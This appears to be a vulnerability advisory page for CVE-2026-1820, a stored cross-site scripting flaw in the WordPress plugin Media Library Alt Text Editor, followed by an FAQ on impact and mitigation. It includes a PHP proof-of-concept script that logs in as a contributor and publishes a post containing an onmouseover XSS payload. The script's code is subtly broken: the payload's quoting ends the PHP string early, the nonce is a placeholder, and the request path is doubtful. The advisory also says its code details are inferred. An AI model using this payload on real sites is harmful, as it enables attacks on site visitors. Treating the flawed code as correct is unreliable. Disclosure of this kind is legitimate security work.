Atomic Edge analysis of CVE-2026-1820 (metadata-based):
This vulnerability is a stored cross-site scripting (XSS) flaw in the Media Library Alt Text Editor WordPress plugin. The vulnerability exists in the plugin’s ‘bvmalt_sc_div_update_alt_text’ shortcode handler. The CWE-79 classification confirms improper neutralization of user input during web page generation. The plugin fails to sanitize user-supplied attributes before output, and also lacks proper output escaping. Authenticated users with contributor-level privileges or higher can exploit this vulnerability. Attackers inject malicious scripts via the ‘post_id’ shortcode attribute. The injected scripts execute when any user views a page containing the malicious shortcode. The CVSS vector indicates network accessibility, low attack complexity, and low privilege requirements. The scope change (S:C) confirms the vulnerability impacts other components beyond the plugin itself. The fix requires implementing proper input validation and output escaping for all user-controlled shortcode attributes. Atomic Edge research infers the vulnerable code pattern: the plugin likely uses `add_shortcode(‘bvmalt_sc_div_update_alt_text’, …)` with a callback that directly echoes unsanitized `$atts[‘post_id’]` values. The confirmed fact is the vulnerability exists via the specified shortcode. The inferred details include the exact parameter and the lack of both sanitization and escaping.
CVE-2026-1820: Media Library Alt Text Editor <= 1.0.0 – Authenticated (Contributor+) Stored Cross-Site Scripting via 'post_id' Shortcode Attribute (media-library-alt-text-editor)
CVE-2026-1820
1.0.0
—
Analysis Overview
Differential between vulnerable and patched code
Proof of Concept (PHP)
NOTICE :
This proof-of-concept is provided for educational and authorized security research purposes only.
You may not use this code against any system, application, or network without explicit prior authorization from the system owner.
Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.
This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.
By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2026-1820 - Media Library Alt Text Editor <= 1.0.0 - Authenticated (Contributor+) Stored Cross-Site Scripting via 'post_id' Shortcode Attribute
<?php
$target_url = 'http://target-wordpress-site.com';
$username = 'contributor_user';
$password = 'contributor_password';
// Step 1: Authenticate to WordPress
$login_url = $target_url . '/wp-login.php';
$admin_url = $target_url . '/wp-admin/';
$ch = curl_init();
curl_setopt_array($ch, [
CURLOPT_URL => $login_url,
CURLOPT_RETURNTRANSFER => true,
CURLOPT_COOKIEJAR => 'cookies.txt',
CURLOPT_COOKIEFILE => 'cookies.txt',
CURLOPT_FOLLOWLOCATION => true,
CURLOPT_POST => true,
CURLOPT_POSTFIELDS => http_build_query([
'log' => $username,
'pwd' => $password,
'wp-submit' => 'Log In',
'redirect_to' => $admin_url,
'testcookie' => '1'
]),
CURLOPT_HTTPHEADER => ['Content-Type: application/x-www-form-urlencoded']
]);
$response = curl_exec($ch);
// Step 2: Create a new post with malicious shortcode
// Assumption: Contributor users can create posts
$create_post_url = $target_url . '/wp-admin/post-new.php';
// Extract nonce from post creation page (simplified - real implementation would parse HTML)
// This PoC assumes we have a valid nonce or the plugin lacks nonce verification
$payload = '[bvmalt_sc_div_update_alt_text post_id="1' onmouseover='alert(document.domain)' "]';
$post_data = [
'post_title' => 'XSS Test Post',
'content' => 'Malicious shortcode injected: ' . $payload,
'post_status' => 'publish',
'_wpnonce' => 'placeholder_nonce', // Would need extraction in full implementation
'_wp_http_referer' => '/wp-admin/post-new.php',
'post_type' => 'post',
'action' => 'editpost'
];
curl_setopt_array($ch, [
CURLOPT_URL => $target_url . '/wp-admin/admin-post.php?action=editpost',
CURLOPT_POSTFIELDS => http_build_query($post_data),
]);
$response = curl_exec($ch);
curl_close($ch);
// Step 3: The XSS payload executes when any user views the published post
// The malicious JavaScript triggers on mouseover of the shortcode output
echo "PoC executed. Visit the newly created post to trigger XSS on mouseover.n";
?>Frequently Asked Questions
What is CVE-2026-1820?
Understanding the vulnerabilityCVE-2026-1820 is a stored cross-site scripting (XSS) vulnerability in the Media Library Alt Text Editor plugin for WordPress. It allows authenticated users with contributor-level access and above to inject arbitrary scripts via the ‘post_id’ shortcode attribute, which can then execute when other users view the affected pages.
How does this vulnerability work?
Mechanism of exploitationThe vulnerability arises from insufficient input sanitization and output escaping on user-supplied attributes in the plugin’s ‘bvmalt_sc_div_update_alt_text’ shortcode. Attackers can exploit this by injecting malicious scripts into the ‘post_id’ attribute, which are executed in the context of users who access the page containing the shortcode.
Who is affected by this vulnerability?
Identifying impacted usersAny WordPress site using the Media Library Alt Text Editor plugin version 1.0.0 or earlier is affected. Specifically, authenticated users with contributor-level access or higher can exploit this vulnerability, potentially impacting all users who view the affected pages.
How can I check if my site is vulnerable?
Steps to verify vulnerabilityTo check if your site is vulnerable, verify the version of the Media Library Alt Text Editor plugin installed. If it is version 1.0.0 or earlier, your site is at risk. Additionally, review any shortcodes used on your pages to identify potential exploitation points.
What is the recommended fix for this vulnerability?
Mitigation stepsThe primary fix is to update the Media Library Alt Text Editor plugin to a version that addresses this vulnerability. Additionally, ensure that proper input validation and output escaping are implemented for all user-controlled shortcode attributes to prevent similar issues.
What does the CVSS score of 6.4 indicate?
Understanding risk levelsA CVSS score of 6.4 indicates a medium severity vulnerability. This suggests that while the vulnerability is not critical, it poses a significant risk, especially in environments where authenticated users have access to exploit it. Administrators should prioritize addressing this issue.
How does the proof of concept demonstrate the vulnerability?
Explaining the demonstration codeThe proof of concept provided illustrates how an authenticated user can exploit the vulnerability by logging into a WordPress site and injecting a malicious script through the ‘post_id’ shortcode. This code highlights the steps taken to authenticate and exploit the vulnerability, showcasing its practical implications.
What is stored cross-site scripting (XSS)?
Defining the attack typeStored cross-site scripting (XSS) is a type of security vulnerability that allows an attacker to inject malicious scripts into content that is stored on a server. When other users access the affected content, the scripts execute in their browsers, potentially leading to data theft or session hijacking.
Can this vulnerability affect other components of my site?
Scope of the vulnerabilityYes, the scope change indicated in the CVSS vector suggests that this vulnerability can impact other components beyond the plugin itself. If exploited, it could affect the security of the entire WordPress site and its users.
What should I do if I cannot update the plugin immediately?
Temporary mitigation strategiesIf immediate updates are not possible, consider disabling the Media Library Alt Text Editor plugin until a fix can be applied. Additionally, review user permissions and restrict contributor-level access to minimize the risk of exploitation.
How can I stay informed about vulnerabilities?
Keeping up with security updatesTo stay informed about vulnerabilities, regularly check the WordPress Plugin Repository for updates, subscribe to security mailing lists, and follow reputable security blogs. Keeping your plugins and WordPress core updated is crucial for maintaining site security.
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